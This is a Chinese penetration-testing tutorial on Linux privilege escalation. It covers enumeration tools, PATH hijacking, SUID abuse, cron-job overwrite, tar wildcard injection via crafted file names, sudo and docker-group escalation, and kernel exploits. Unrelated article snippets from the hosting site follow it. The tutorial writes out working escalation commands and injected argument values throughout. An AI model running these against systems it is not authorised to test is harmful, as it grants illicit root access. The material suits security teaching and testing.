内网渗透之Linux权限提升大法

文章目录

  • 内网渗透|Linux权限提升大法
    • 0x01 前言
    • 0x02 工具介绍
      • 1.traitor
      • 2.LinEnum
      • 3.linux-exploit-suggester.sh
      • 4.Linux Exploit Suggester 2
      • 5.beroot
    • 0X02提权手法
      • 1.环境变量提权
      • 2.利用suid提权
      • 3.定时任务提权
        • 3.1定时任务文件覆盖提权
        • 3.2定时任务tar命令通配符注入提权
      • 4.sudo提权
      • 5.Docker提权
      • 6.内核溢出提权

内网渗透|Linux权限提升大法

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 工具介绍

1.traitor

地址:https://github.com/liamg/traitor

描述:

 1. 自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
 2. 不带参数运行寻找可能存在的漏洞
 3. 带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

用法:
1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p如果当前用户密码已知,则添加该标志。如果需要分析sudo权限等,将要求输入密码。

traitor -p

2.使用-a/--any标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell,则停止。-p如果当前用户密码已知,请再次添加该标志。

traitor -a -p

3.使用-e/--exploit标志运行以尝试利用特定漏洞并获得 root shell

traitor -p -e docker:writable-socket

2.LinEnum

地址:https://github.com/rebootuser/LinEnum

描述:

可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

用法:
在这里插入图片描述

3.linux-exploit-suggester.sh

地址:https://github.com/The-Z-Labs/linux-exploit-suggester

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.评估 Linux 机器对公开已知漏洞的暴露程度:

./linux-exploit-suggester.sh

2.显示 Linux 机器上的安全功能状态:

./linux-exploit-suggester.sh --checksec

3.根据提供的“uname”字符串(即uname -a命令的输出)评估 Linux 内核对已知漏洞的暴露程度:

./linux-exploit-suggester.sh --uname <uname-string>

4.Linux Exploit Suggester 2

地址:https://github.com/jondonas/linux-exploit-suggester-2

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.当不带参数运行时,该脚本会执行“uname -r”来获取 Linux 操作系统发行版本,并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住,修补/向后移植的补丁可能会欺骗该脚本。

./linux-exploit-suggester-2.pl

2.使用-k标志手动输入内核/操作系统发行版本的通配符。

./linux-exploit-suggester-2.pl -k 3

3.使用-d标志打开下载菜单,直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序,也可以按编号单独选择它们。

./linux-exploit-suggester-2.pl -d

4.使用-h标志显示帮助菜单

5.beroot

地址:https://github.com/AlessandroZ/BeRoot

描述:

BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。

0X02提权手法

1.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门。

提权流程:

1.ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序

2.找到用户自己编译的程序

3.去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等

4.我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的

5.Linux 在执行命令时会按照以下顺序搜索可执行文件:

 1. 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。
 2. 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。
 3. 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 cd、echo等。如果命令是内建命令,则会执行内建命令。
 4. 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

2.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述上面的所有二进制文件都将以 root 权限执行,因为它们的权限中包含"s" 并且由 root 用户拥有。

可以用来提权的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如:find的利用

touch pentestlab
find pentestlab -exec whoami \;

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。

需要具备的条件:

 1. 有root权限执行的定时任务
 2. 有权限修改root权限执行的定时任务

通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的。

例如:

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:
    os.system('rm -r /root/add/*')
except:
    sys.exit()

添加后保存即可,此时定时任务已经添加成功,切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务。

在这里插入图片描述在普通用户下也可以编译定时任务执行的文件。
在这里插入图片描述可以把命令替换成 chmod u+s /bin/bash 赋予bash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shell,需要加上-p参数才能提权,bash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami \;
3.2定时任务tar命令通配符注入提权

定时任务Tar命令通配符注入提权(Cron Tar Command Wildcard Injection Privilege Escalation)是指通过在定时任务中使用Tar命令和通配符时,利用不当地输入验证或不正确的权限配置,使攻击者能够执行恶意代码并以更高的权限运行。

例如:
1.添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

vim /etc/crontab
*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

2.接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件。

创建一个–checkpoint-action=exec=sh test.sh名字的空文件,创建–checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可:

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"  ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh  ##赋予执行权限

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情。

tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

也就是在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果。

PS:–checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。–checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。)

3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。

4.使用 /tmp/bash -p 即可提权

PS:还有另一种情况

刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

vim /etc/crontab
*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh。

4.sudo提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行。
在这里插入图片描述这三条的意思分别是:


root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。

%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。

%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。

在实际情况中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件:

 1. 知道当前用户的密码
 2. 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令

如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的。

例如:find提权

sudo find /home -exec whoami \;  ##可以看到获得的是root用户
sudo find /home -exec bash \;    ##或者直接调用bash来获取shell

在这里插入图片描述

5.Docker提权

docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。

区别于docker逃逸,相当于是利用docker进行提权。如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权。

条件:

当前用户在docker用户组,可以使用docke。

1.查看是否在docker组下:

cat /etc/group | grep olw

在这里插入图片描述
2.利用docker,将mnt目录挂载到宿主的根目录,提权成功

docker run -v /:/mnt -it alpine

6.内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

例如:

第一步:查看目标系统的相关信息

uname -a           #查看内核/操作系统/cpu信息
cat /proc/version  #查看系统信息
cat /etc/issue     #查看操作系统版本
lsb_release -a     #查询系统版本等信息

第二步:使用searchsploit工具寻找对应的exp

searchsploit -t 3.19

在这里插入图片描述

searchsploit -x linux/local/37292.c

在这里插入图片描述

第三步:让目标机器远程下载exp文件
在这里插入图片描述
第四步:将exp文件进行编译
在这里插入图片描述
第五步:执行exp文件,提权成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/184867.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SPSS信度分析

前言&#xff1a; 本专栏参考教材为《SPSS22.0从入门到精通》&#xff0c;由于软件版本原因&#xff0c;部分内容有所改变&#xff0c;为适应软件版本的变化&#xff0c;特此创作此专栏便于大家学习。本专栏使用软件为&#xff1a;SPSS25.0 本专栏所有的数据文件请点击此链接下…

【shell】脚本实现将开发机user1账户下的abc文件夹复制到user2~4账户下

1 主要内容 可以使用Shell脚本来实现将开发机&#xff08;Linux&#xff09;上user1账户下的abc文件夹复制到user2、user3和user4账户下。 #!/bin/bash# 数组赋值&#xff0c;目标用户列表 # target_users(user2 user3 user4) # 定义数组 target_users()# 生成user数字的数组…

h5小游戏-盖楼游戏

盖楼游戏 一个基于JavaScrtipt、Html5 的盖楼游戏 效果预览 点我下载源代码 Game Rule 游戏规则 以下为默认游戏规则&#xff0c;也可参照下节自定义游戏参数 每局游戏生命值为3&#xff0c;掉落一块楼层生命值减1&#xff0c;掉落3块后游戏结束&#xff0c;单局游戏无时间限…

如何在 Photoshop 中删除颜色

如何在 Photoshop 中删除某种颜色的简单方法 如何在 Photoshop 中删除颜色 步骤1 有很多方法可以在 Photoshop 中删除颜色。作为一般概述&#xff0c;我们希望进行选择&#xff08;在本例中为我们的颜色&#xff09;&#xff0c;然后操作该选择&#xff08;通常删除或屏蔽内容…

Ubuntu开机显示recovering journal,进入emergency mode

在一次正常的shutdown -r now之后&#xff0c;服务器启动不起来了&#xff0c;登录界面显示recovering journal&#xff0c;主要报错信息如下所示&#xff1a; /dev/sda2:recovering journal /dev/sda2:Clearn... You are in emergency mode. After logging in, type journalc…

git 对已有的项目代码建立github仓库

首先在项目根路径下使用以下命令初始化git配置文件&#xff1b; git init关联github仓库地址&#xff0c;我这里使用的是SSH连接方式&#xff1b; git remote add origin gitgithub.com:xxxxx.git关联main分支&#xff0c;其中current_branch代表着你需要push的分支&#xff…

Ubuntu 22.04安装vscode

要在Ubuntu 22.04安装vscode&#xff0c;请完成这些步骤。 首先apt命令更新软件包索引并安装导入微软GPG密钥的依赖软件。 更新&#xff0c;近期内执行过可忽略 sudo apt update安装工具包 sudo apt install software-properties-common apt-transport-https curl当导入GPG后…

快速掌握接口自动化测试的技巧和方法!

通过用Python实现头条项目接口自动化测试&#xff0c;下面一起来学习。 目标 1. 熟悉接口自动化测试的流程2. 能够对一个项目的接口实现自动化测试 接口自动化测试流程 1. 需求分析2. 挑选需要做自动化测试的功能3. 设计测试用例4. 搭建自动化测试环境[可选]5. 设计自动化测…

英语学习软件 Eudic欧路词典 mac中文版介绍说明

欧路词典 mac (Eudic) 是一个功能强大的英语学习工具&#xff0c;它包含了丰富的英语词汇、短语和例句&#xff0c;并提供了发音、例句朗读、单词笔记等功能。 Eudic欧路词典 mac 软件介绍 多语种支持&#xff1a;欧路词典支持多种语言&#xff0c;包括英语、中文、日语、法语…

提高文字识别率的顶级技巧(图片转excel表格文字图片录入篇)

在日常的客服工作中&#xff0c;有很多用户会问我们一个相同的问题&#xff1a;你们的金鸣识别系统识别率能达到百分之几&#xff1f;能不能达到99%甚至100%&#xff1f;我们先来举个极端的例子&#xff1a;用户上传一张图片给我们程序识别&#xff0c;这张图片上的字是手写的&…

【C/C++】素数专题

素数专题 1.判断素数模板2.求范围内的素数&#xff08;101-200&#xff09;3.判断素数与分解 1.判断素数模板 #include<stdio.h> #include<math.h>int prism(int n){if(n1) return 0;for(int i2;i<sqrt(n);i){if(n%i0) return 0;}return 1; }int main() {int n…

JavaFx 设置窗口边框圆角

UI界面要求窗口边框有一定弧度&#xff0c;因为之前没有做过&#xff0c;网上看了很多文章&#xff0c;都用到了css语句 "-fx-background-radius: ; 我在xml布局文件根节点使用无效&#xff0c;在Scene组件设置无效&#xff0c;gpt等ai问了一圈代码也是无效&#xff0c;…

mysql查询表的字段,字段名以及注释sql语句

sql语句如下&#xff1a; selecta.ordinal_position 序号,a.COLUMN_name 字段名,a.COLUMN_type 字段类型,(case a.is_nullable when NO then 是 else 否 end) 是否非空,(case a.column_key when PRI then 是 else 否 end) 是否主键,a.COLumn_comment 注释 frominformation_sch…

4.4 抗锯齿

一、锯齿是怎么产生的 二、抗锯齿介绍 1.SSAA(super sample anti-aliasing) 拿4xSSAA举例子&#xff0c;假设最终屏幕输出的分辨率是800x600, 4xSSAA就会先渲染到一个分辨率1600x1200的buffer上&#xff0c;然后再直接把这个放大4倍的buffer下采样至800x600。这种做法在数学上…

HBase之Region Splitting

目录 Region Splitting步骤 Region状态过程 Region Splitting 步骤 RegionServer开始split region&#xff0c;SPLIT事务开启。RegionServer在表上获取共享读锁防止split过程中数据被修改。接着在zk中创建一个znode&#xff0c;标记为SPLITTING。Master 将会观察到该znode的创…

Jmeter接口测试——使用教程(上)

前言 jmeter是一款小巧&#xff0c;轻便、开源的性能测试工具&#xff0c;它也可以很方便的进行接口测试。 下面我就带大家学习下jmeter接口测试。 一、Jmeter简介 Jmeter是apache公司基于java开发的一款开源压力测试工具&#xff0c;体积小&#xff0c;功能全&#xff0c;使…

镜头光圈参数详解和示例,如F2.8-16

光圈&#xff1a; 光圈用F值来表示&#xff0c;以镜头焦距f和通光孔径D的比值来衡量。F值越大&#xff0c;光圈越小&#xff1b;F值越小&#xff0c;光圈越大。 镜头表面标的F2.8-16是指相机镜头孔径的大小。如上图所示&#xff0c;光圈大小F2.8-16范围是F2.8、F4、F5.6、F8、…

量子计算突破云渲染资源调度!真机测试完整报告公开!

​摘要&#xff1a;在影视领域中&#xff0c;经常会涉及大量的视频图像渲染工作&#xff0c;而往往在这种大规模、动态渲染场景下&#xff0c;普遍存在着冗余渲染现象。究其原因在于大规模的图像渲染通常要求在短时间内做出渲染任务的算力分配决策&#xff0c;而经典计算机无法…

electron+vue3全家桶+vite项目搭建【26】electron本地安装Vue Devtool插件,安装浏览器扩展

文章目录 引入获取vue devtool导入插件排除插件的npm脚本最终效果 引入 demo项目地址 Vue Devtools插件是vue项目必备插件&#xff0c;它是安装在浏览器里的&#xff0c;而咱们的electron中实际就包含了一个浏览器&#xff0c;同理它也可以加载浏览器插件 获取vue devtool 直…

Java 之 final 详解

目录 一. 前言 二. final 的基础使用 2.1. 修饰类 2.2. 修饰方法 2.2.1. private 方法是隐式的 final 2.2.2. final 方法可以被重载 2.3. 修饰参数 2.4. 修饰变量 2.4.1. static final 2.4.2. blank final 2.4.3. 所有 final 修饰的字段都是编译期常量吗&#xff1f…